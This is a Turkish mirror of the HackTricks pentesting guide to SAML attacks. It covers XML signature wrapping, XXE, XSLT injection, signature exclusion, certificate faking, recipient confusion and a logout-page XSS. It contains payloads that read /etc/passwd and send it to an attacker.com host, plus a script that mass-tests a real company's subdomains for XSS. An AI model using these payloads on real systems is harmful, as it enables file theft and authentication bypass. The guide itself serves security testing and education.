Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks/README.md

20 KiB
Raw Blame History

SAML Saldırıları

SAML Saldırıları

Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Araç

SAMLExtractor: URL veya URL listesi alabilen ve SAML tüketim URL'sini geri yazdıran bir araç.

XML turu

XML'de XML'in imzalı kısmı belleğe kaydedilir, ardından bazı kodlama/çözme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/çözme işlemi veriyi değiştirmemelidir, ancak bu senaryoya göre, kontrol edilen veri ve orijinal veri aynı olmayabilir.

Örneğin, aşağıdaki kodu kontrol edin:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Programı REXML 3.2.4 veya daha önceki sürümlere karşı çalıştırmak aşağıdaki çıktıyı verecektir:

First child in original doc: Y
First child after round-trip: Z

Bu, yukarıdaki programdan REXML'in orijinal XML belgesini nasıl gördüğünü göstermektedir:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Ve bu, ayrıştırma ve serileştirme turundan sonra nasıl gördüğünü göstermektedir:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Bu zafiyet ve nasıl istismar edileceği hakkında daha fazla bilgi için:

XML İmza Sarma Saldırıları

XML İmza Sarma saldırılarında (XSW), saldırganlar XML belgelerinin işlendiği iki farklı aşama olan imza doğrulama ve işlev çağrısı aşamalarında ortaya çıkan bir zafiyeti sömürürler. Bu saldırılar, XML belge yapısını değiştirerek gerçekleşir. Özellikle saldırgan, XML İmzasının geçerliliğini tehlikeye atmayan sahte öğeler enjekte eder. Bu manipülasyon, uygulama mantığı tarafından analiz edilen öğeler ile imza doğrulama modülü tarafından kontrol edilen öğeler arasında bir uyumsuzluk yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalır ve doğrulamayı geçer, ancak uygulama mantığı sahte öğeleri işler. Dolayısıyla saldırgan, XML İmzasının bütünlük korumasını ve köken kimliğini doğrulamasını etkisiz hale getirerek, algılanmadan keyfi içerik enjekte etmeyi mümkün kılar.

Aşağıdaki saldırılar bu blog gönderisine ve bu makaleye dayanmaktadır. Daha fazla ayrıntı için bunları kontrol edin.

XSW #1

  • Strateji: İmza içeren yeni bir kök öğe eklenir.
  • Etki: Doğrulayıcı, meşru "Yanıt -> İddia -> Konu" ile saldırganın "kötü yeni Yanıt -> İddia -> Konu" arasında veri bütünlüğü sorunlarına yol açabilecek şekilde karışabilir.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • XSW #1'den Farkı: Bir sarmalama imzası yerine ayrılmış bir imza kullanır.
  • Etki: "Kötü" yapı, XSW #1'e benzer şekilde, bütünlük kontrolünden sonra iş mantığını aldatmayı amaçlar.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strateji: Orijinal iddiaya aynı hiyerarşik düzeyde kötü bir İddia oluşturulur.
  • Etki: İş mantığını kötü verileri kullanmaya zorlamayı amaçlar.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • XSW #3'ten Farkı: Orijinal İddia, çoğaltılmış (kötü) İddianın alt öğesi olur.
  • Etki: XSW #3'e benzer şekilde, XML yapısını daha agresif bir şekilde değiştirir.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Benzersiz Yön: Ne İmza ne de orijinal İddia standart yapılandırmalara uymaz.
  • Etki: Kopyalanan İddia, İmzayı sarmalar ve beklenen belge yapısını değiştirir.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strateji: XSW #4 ve #5 ile benzer konum ekleme, ancak bir farkla.
  • Etki: Kopyalanan İddia, İmzayı sarmalar, ardından orijinal İddiayı saran, iç içe geçmiş aldatıcı bir yapı oluşturur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strateji: Kopyalanan İddia'nın bir alt öğe olarak eklendiği bir Uzantı öğesi.
  • Etki: Bu, özellikle OpenSAML gibi kütüphanelerde şema doğrulama karşı önlemleri atlamak için Uzantı öğesinin daha az kısıtlayıcı şemasını sömürür.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • XSW #7'den Farkı: Saldırının bir varyantı için başka bir daha az kısıtlayıcı XML öğesini kullanır.
  • Etki: Orijinal İddia, XSW #7'de kullanılan yapıyı tersine çevirerek, daha az kısıtlayıcı öğenin alt öğesi olur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Araç

İsteği ayrıştırmak, seçtiğiniz herhangi bir XSW saldırısını uygulamak ve başlatmak için Burp uzantısı SAML Raider kullanabilirsiniz.

XXE

XXE saldırılarının ne tür saldırılar olduğunu bilmiyorsanız, lütfen aşağıdaki sayfayı okuyun:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML Yanıtları sıkıştırılmış ve base64 kodlu XML belgeleri dir ve XML Harici Varlık (XXE) saldırılarına duyarlı olabilir. SAML Yanıtının XML yapısını manipüle ederek, saldırganlar XXE zafiyetlerini sömürmeye çalışabilir. İşte böyle bir saldırının nasıl görselleştirilebileceği:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Araçlar

Ayrıca SAML Raider adlı Burp eklentisini kullanarak SAML isteğinden POC oluşturabilir ve olası XXE güvenlik açıklarını ve SAML güvenlik açıklarını test edebilirsiniz.

Ayrıca bu konuşmayı da kontrol edin: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML Aracılığıyla XSLT

XSLT hakkında daha fazla bilgi için şuraya gidin:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Genişletilebilir Stil Sayfası Dönüşümleri (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli biçimlere dönüştürmek için kullanılabilir. XSLT dönüşümlerinin dijital imzanın doğrulanmasından önce gerçekleştirildiğini unutmamak önemlidir. Bu, saldırının geçerli bir imza olmadan bile başarılı olabileceği anlamına gelir; kendinden imzalı veya geçersiz bir imza yeterlidir.

Bu tür güvenlik açıklarını kontrol etmek için bir POC bulabilirsiniz, bu bölümün başında belirtilen hacktricks sayfasında payloadlar bulabilirsiniz.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Araç

Ayrıca, olası XSLT güvenlik açıklarını test etmek için bir SAML isteğinden POC oluşturmak için Burp eklentisi SAML Raider kullanabilirsiniz.

Ayrıca şu konuşmayı da kontrol edin: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML İmza Hariç Bırakma

XML İmza Hariç Bırakma, İmza öğesi bulunmadığında SAML uygulamalarının davranışını gözlemlemektedir. Bu öğe eksikse, imza doğrulaması gerçekleşmeyebilir, bu da zafiyete neden olabilir. Bu durumu test etmek için genellikle imzalanan içeriği değiştirerek yapabilirsiniz.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Araç

Ayrıca, Burp eklentisi SAML Raider kullanabilirsiniz. SAML Yanıtını onaylayın ve İmzaları Kaldır düğmesine tıklayın. Böylece tüm İmza öğeleri kaldırılır.

İmzalar kaldırıldıktan sonra isteğin hedefe gitmesine izin verin. İmza Hizmet tarafından gerekli değilse

Sertifika Sahteciliği

Sertifika Sahteciliği, bir Hizmet Sağlayıcının (SP) bir SAML İletisinin güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için bir tekniktir. Bu, SAML Yanıtını veya Bildirisini imzalamak için bir *kendi imzalı sertifika kullanmayı içerir ve SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur.

Sertifika Sahteciliği Nasıl Yapılır

Aşağıdaki adımlar, SAML Raider Burp eklentisini kullanarak süreci açıklar:

  1. SAML Yanıtını onaylayın.
  2. Yanıt bir imza içeriyorsa, sertifikayı Sertifikayı SAML Raider Sertifikalarına Gönder düğmesini kullanarak SAML Raider Sertifikalarına gönderin.
  3. SAML Raider Sertifikaları sekmesinde, içe aktarılan sertifikayı seçin ve orijinal sertifikanın klonunu oluşturmak için Kaydet ve Kendi İmzalı düğmesine tıklayın.
  4. Burp'un Proxy'sinde onaylanan isteğe geri dönün. XML İmza açılır menüsünden yeni kendi imzalı sertifikayı seçin.
  5. Varolan imzaları İmzaları Kaldır düğmesi ile kaldırın.
  6. Mesajı veya bildirimi yeni sertifika ile imzalayın (Yeniden) Mesajı İmzala veya (Yeniden) Bildirimi İmzala düğmesini kullanarak.
  7. İmzalı mesajı iletilmesini sağlayın. Başarılı kimlik doğrulama, SP'nin kendi imzalı sertifikanız tarafından imzalanan mesajları kabul ettiğini gösterir ve SAML mesajlarının doğrulama sürecindeki potansiyel zafiyetleri ortaya çıkarır.

Token Alıcı Karışıklığı / Hizmet Sağlayıcı Hedef Karışıklığı

Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, Hizmet Sağlayıcının yanıtın amaçlanan alıcısını doğru bir şekilde doğrulayıp doğrulamadığını kontrol etmeyi içerir. Temelde, bir Hizmet Sağlayıcının, yanıtın farklı bir sağlayıcı için mi yoksa doğru sağlayıcı için mi olduğunu doğrulaması gerekir. Buradaki kritik unsur, bir SAML Yanıtının SubjectConfirmationData öğesinde bulunan Alıcı alanıdır. Bu alan, Bildirimin nereye gönderilmesi gerektiğini belirten bir URL'yi belirtir. Gerçek alıcı, amaçlanan Hizmet Sağlayıcı ile eşleşmiyorsa, Bildirim geçersiz kabul edilmelidir.

Nasıl Çalışır

Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. İlk olarak, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkinci olarak, hedeflenen Hizmet Sağlayıcının (SP-Hedef) SP-Legit'i hizmet veren aynı Kimlik Sağlayıcıdan tokenları kabul etmesi gerekir.

Bu koşullar altında saldırı süreci basittir. Paylaşılan Kimlik Sağlayıcı aracılığıyla SP-Legit ile otantik bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı onaylanır. Başlangıçta SP-Legit için amaçlanan bu SAML Yanıtı, daha sonra SP-Hedefe yönlendirilir. Bu saldırıda başarı, SP-Hedefin Bildirimi kabul etmesi ve SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlamasıyla ölçülür.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Çıkış işlevinde XSS

Orijinal araştırmaya bu bağlantı üzerinden erişilebilir.

Dizin brute force işlemi sırasında, bir çıkış sayfası keşfedildi:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Bu bağlantıya erişildiğinde, şu adrese yönlendirme yapıldı:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Bu, base parametresinin bir URL'yi kabul ettiğini ortaya koydu. Buna göre, URL'yi javascript:alert(123); ile değiştirerek bir XSS (Cross-Site Scripting) saldırısını başlatma girişimi ortaya çıktı.

Kitlesel Sömürü

Bu araştırmadan alıntı:

uberinternal.com alt alanlarını analiz etmek için SAMLExtractor aracı kullanıldı ve aynı kütüphaneyi kullanan alanları inceledi. Daha sonra, oidauth/prompt sayfasını hedeflemek için bir betik geliştirildi. Bu betik, veri girişi yaparak XSS (Cross-Site Scripting) test eder ve çıktıda yansıtılıp yansıtılmadığını kontrol eder. Giriş gerçekten yansıtıldığında, betik sayfayı savunmasız olarak işaretler.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: